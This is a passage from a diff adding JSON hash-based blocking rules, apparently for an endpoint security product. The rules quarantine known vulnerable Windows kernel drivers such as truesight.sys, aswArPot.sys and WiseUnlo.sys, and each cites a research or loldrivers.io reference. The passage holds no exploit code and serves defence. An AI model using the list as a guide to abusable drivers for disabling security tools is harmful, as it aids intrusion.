+  "comment": "Vulnerable Kernel Driver (aka LnvMSRIO.sys) [https://blog.quarkslab.com/exploiting-lenovo-driver-cve-2025-8061.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5fd219e9-384c-5fa2-9845-c28f5c443fe8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982836Z",
+  "creation_date": "2026-03-23T11:45:29.982838Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982843Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "358ac54be252673841a1d65bfc2fb6d549c1a4c877fa7f5e1bfa188f30375d69",
+  "comment": "Vulnerable Kernel Driver (aka WiseUnlo.sys) [https://www.loldrivers.io/drivers/b28cc2ee-d4a2-4fe4-9acb-a7a61cad20c6/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5fd41a6c-ea33-5f24-a582-91dd75cb4d70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620583Z",
+  "creation_date": "2026-03-23T11:45:29.620585Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620590Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ab41816abbf14d59e75b7fad49e2cb1c1feb27a3cb27402297a2a4793ff9da7",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5fe8dc0f-9e92-513d-bf3e-d39153e5ebd1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606523Z",
+  "creation_date": "2026-03-23T11:45:29.606525Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606530Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b3316496ab1e2d1ef02be966d9caa171674856e8fb8ea78d6a3bcfe8e2013c1",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5ffa9f62-fbf7-5ef5-b8b5-df5b43aa16a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969966Z",
+  "creation_date": "2026-03-23T11:45:29.969968Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969973Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e27fa56ceff3fe7d5a723c5f4192ce6aa16994f88cf05935645f9e398292376a",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6001705e-4220-5a9d-87c8-c940b75a2728",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828405Z",
+  "creation_date": "2026-03-23T11:45:31.828407Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828413Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae986d6d28875a3f0ded62b1bea8b09420964eadda0f84aaae883e40ef392fd0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "60048928-7e6a-52a4-8486-d55184a0048b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975220Z",
+  "creation_date": "2026-03-23T11:45:29.975222Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975227Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "35b31c96194d78cbb98b3223bf810f78f53fc0e4601f49169938ca883586e4e9",
+  "comment": "Vulnerable Kernel Driver (aka HpPortIox64.sys) [https://www.loldrivers.io/drivers/13637210-2e1c-45a4-9f76-fe38c3c34264/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "60086cd4-7cde-51d8-8461-b95a5f620ceb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491089Z",
+  "creation_date": "2026-03-23T11:45:31.491092Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491101Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "66ead034234c85988239b0c0bf96d68bb56366cd85c6695e7c586f2c5823842c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "600c166f-e365-55ce-b204-4a4d3a689e09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151246Z",
+  "creation_date": "2026-03-23T11:45:31.151248Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151254Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a28f047f3fdd96e3a917dc99e106ae9fd4fd96b5671d9fa43b752e1ae7e5100e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "601e47b5-689d-5e7f-9cb7-c554a7d31d68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977881Z",
+  "creation_date": "2026-03-23T11:45:29.977883Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977889Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c67c6f1e03a466dc660bcad6051fc38eb6e9004a4e252abe52c6155f5768ad90",
+  "comment": "Vulnerable Kernel Driver (aka driver7-x86.sys) [https://www.loldrivers.io/drivers/670dc258-78b5-4552-a16b-b41917c86f8d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6037a93e-6a54-5951-a11a-a1c3160df731",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493115Z",
+  "creation_date": "2026-03-23T11:45:31.493119Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493127Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e62b11cb14eca6a3c9ceb6f3f5741149742896f7dbb4b3407aa82e3412a34b3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "60402990-c588-5a24-9145-6e98acbb5dc4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967784Z",
+  "creation_date": "2026-03-23T11:45:29.967789Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967805Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c56536f99207915e5a1f7d4f014ab942bd820e64ff7f371ad0462ef26ed27242",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "604175a8-026a-5913-82ce-e543b717b4d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477355Z",
+  "creation_date": "2026-03-23T11:45:31.477358Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477368Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7b51ba453918a897d18315213c105381151953edfec0850e9b01f66b2467d7b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6046e592-5933-587f-925d-bcf81eb61275",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159385Z",
+  "creation_date": "2026-03-23T11:45:31.159387Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159393Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd80868d5010f97bd3426ff87326cfd01939e0c45fd3b27eb5a2028311ab1b1d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "604a9c8b-ed6e-5a36-8cfc-5cf1859f7fe3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823663Z",
+  "creation_date": "2026-03-23T11:45:30.823665Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823671Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b37cb203f790c11c291988871e3cfe34fe35cfa684c7c55b78934790f83d51c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "604d9045-d619-559c-9b8c-d5c4bc10cbbb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620658Z",
+  "creation_date": "2026-03-23T11:45:29.620660Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620665Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7f190f6e5ab0edafd63391506c2360230af4c2d56c45fc8996a168a1fc12d457",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6056d1ba-dbd8-5e72-bcfd-52dd4a9a2d00",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825041Z",
+  "creation_date": "2026-03-23T11:45:30.825045Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825055Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3988a428a3439452164edbf1abff6fabf257c97ab693f5a5c8149fc2fc17ca3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "60578438-f2cb-5103-ad69-a8b2c9b13452",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476629Z",
+  "creation_date": "2026-03-23T11:45:31.476632Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476642Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7cdda07837e62957e20d91d97c82c5ce11b3f35aa6b7ec482841628e2c81b46",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "605b193d-03a4-519c-bf0b-bf171a2dbab7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500336Z",
+  "creation_date": "2026-03-23T11:45:31.500339Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500347Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "453e715f79a5c8b9c8222232b665a2cc60ab054a64685d402cd414ce7255eb65",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6070e473-0150-5486-86d8-8d5143e1ed35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820900Z",
+  "creation_date": "2026-03-23T11:45:31.820904Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820913Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f29ddd1da190e2000fe5d42a032650dbe36bf1c7df9efb06159387a794e766b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "607a6150-2cb2-5678-a559-ddcd385c3926",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831602Z",
+  "creation_date": "2026-03-23T11:45:30.831605Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831610Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "51857e19f774845e9ff4b463a42088bfd5a7c096fe1d3b677de4adc3e78cb239",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "60856f1e-4e2e-5c78-bc77-6783b043bcaf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475532Z",
+  "creation_date": "2026-03-23T11:45:30.475536Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475545Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "983310cdce8397c016bfcfcc9c3a8abbb5c928b235bc3c3ae3a3cc10ef24dfbd",
+  "comment": "Vulnerable Kernel Driver (aka vboxguest.sys) [https://www.loldrivers.io/drivers/0baa833c-e4e1-449e-86ee-cafeb11f5fd5/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "608e9852-4e22-5b79-b265-4bea6a7bc908",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826300Z",
+  "creation_date": "2026-03-23T11:45:30.826302Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826308Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26f3439efa59eed34ebfd691aa51526ac299dbefb0a5504263e461aca531ac03",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6091bafa-edfb-5d9c-8a1d-83b564dc4387",
+  "test_maturity_current_count": 0,
